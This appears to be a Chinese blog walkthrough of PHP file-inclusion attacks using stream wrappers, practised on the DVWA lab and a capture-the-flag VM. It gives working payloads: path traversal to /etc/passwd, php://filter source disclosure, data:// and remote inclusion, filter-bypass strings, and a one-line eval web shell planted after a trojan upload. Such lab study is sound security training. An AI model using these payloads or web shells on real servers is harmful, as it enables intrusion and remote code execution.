php伪协议
Abstract: 在 action
测试所有的伪协议,测试 DVWA
的包含漏洞及获取虚拟机中的 flag
Table of Contents
测试所有伪协议
基础知识
1
2file://绝对路径
file://C:\\Windows\win.ini对方服务器上的路径,文件包含时,不能有后缀,如果有后缀,尝试 00 截断以及长文件名截断。
1
2http://指定url
http://www.123.com/a.txt?使用
?
或#
绕过后缀,当用在include
中的同时,要求php.ini
文件中,allow_url_include=On
;当用在file
类函数中的同时,要求php.ini
文件中,allow_url_fopen=On
1
2
3
4php://
php://input 接收到 post 数据
php://filter/read=convert.base64-encode/resource=a.php
# 读取a.php的内容,并且base64编码,主要作用用来读php文件源代码post
提交uname=zs&upass=123456
,php://input
收到的内容就是name=zs&upass=123456
,不能有后缀,当用在include
中的同时,要求php.ini
文件中,allow_url_include=On
,当用在file
类函数的同时,要求php.ini
文件中,allow_url_fopen=On
。php://filter
可以使用相对路径,以及绝对路径,不能有后缀。当用在include
中同时,要求php.ini
文件中,allow_url_include=On/Off
,当用在file
类函数中,要求php.ini
文件中allow_url_fopen=On/Off
。1
2data://
data://text/plain,abcdata://text/plain;base64,YWJj
就会收到abc
,当用在include
中,要求php.ini
文件中,allow_url_include=On
,当用在file
类函数中,要求php.ini
文件中,allow_url_fopen=On
。遇到一个网站该如何入手?
测试 action
打开 action2
网页,收集信息。因为有后缀,所以无法使用 file://绝对路径
读取目标服务器上的文件。
然后修改 action=./news
观察页面变化。
进入页面后,发现没有变化。故该页面可能存在文件包含漏洞。
使用 php://filter/read=convert.base64-encode/resource=news
看是否能读出内容。
把读出来的内容进行解码,可以获取到源码。
使用 data://text/plain,abc<?php phpinfo();?>
判断能否使用远程包含。
打开 action3
网页,收集信息。
使用 ./news
判断是否可能存在文件包含漏洞。
尝试读取源码。
DVWA 中的包含漏洞
难度 low
访问首页,收集信息,由下图可知该服务器系统为 CentOS
。
修改 page=./include.php
,观察页面的变化。
发现页面无变化,可能存在文件包含漏洞。直接访问 /etc/passwd
文件。修改 page=../../../../../../etc/passwd
。
读取源码。修改 page=php://filter/read=convert.base64-encode/resource=include.php
。
解码。
修改 page=data://text/plain,abc <?php phpinfo();?>
,判断能否远程文件包含。
在远程服务器上放 show.php
,文件内容为 <?php phpinfo();?>
,修改 page=http://your-ip/show.php
,查看。
在远程服务器上放 cmd.php
,文件内容为 <?php @eval($_POST["cmd"]);?>
,修改 page=http://your-ip/show.php
,查看。
直接用菜刀/蚁剑连接,连接不成功。转换思路,用文件上传功能上传一个木马,然后找到它,用蚁剑连接即可。
先上传一个正常的图片,发现可以看见路径。很明显该路径为相对路径。
把 url
和路径拼接起来,
确定后,看到图片,并且上传图片的路径也清晰明了。
上传一个木马,用菜刀/蚁剑连接。
根据前面查到的路径,直接连接。
难度 medium
访问 ./include.php
,故可能存在文件包含。
修改 page=../../../../../etc/passwd
改为 page=/etc/passwd
可以取得内容。
再次修改 page=....//....//....//....//....//....//etc/passwd
,可以得到内容,所以程序很可能对敏感字符做了处理,但是可以通过双拼绕过。
修改 page=php://filter/read=convert.base64-encode/resource=include.php
,查看源码。
解码可得源码。
1 |
|
修改 page=data://text/plain,abc <?php phpinfo();?>
,查看页面。
修改 page=http://your-ip/show.php
,利用远程包含,发现没有显示内容。
由于 php://filter
和 data://
都显示内容了,所以很可能对 http
这四个字符做了处理。尝试了 http
字符多个位置双拼都不行,可能是对 http://
做了处理,尝试下 httphttp://://
,发现可以绕过。修改 page=httphttp://://your-ip/show.php
。查看页面。
难度 high
修改 page=./include.php
。
获取虚拟机中的 flag
查看源码
1 | <!-- |
简单的流程图
对 a
使用远程包含的方法输入值,对 b
直接输入值,对 e
使用与 a
相同的方法。
成功绕过,但是依然无法访问 flag.php
。
查看 robots.txt
文件。
用 c=php://filter/read=convert.base64-encode/resource=class.php
,查看 class.php
源码。
解码,可得 class.php
。
1 |
|
利用 php md5 解密漏洞
。
绕过 waf
。
查看源码,获取 flag{danjfb-asdfss-vsdfsa-fdsdaf-cvfsfa}
。
参考文章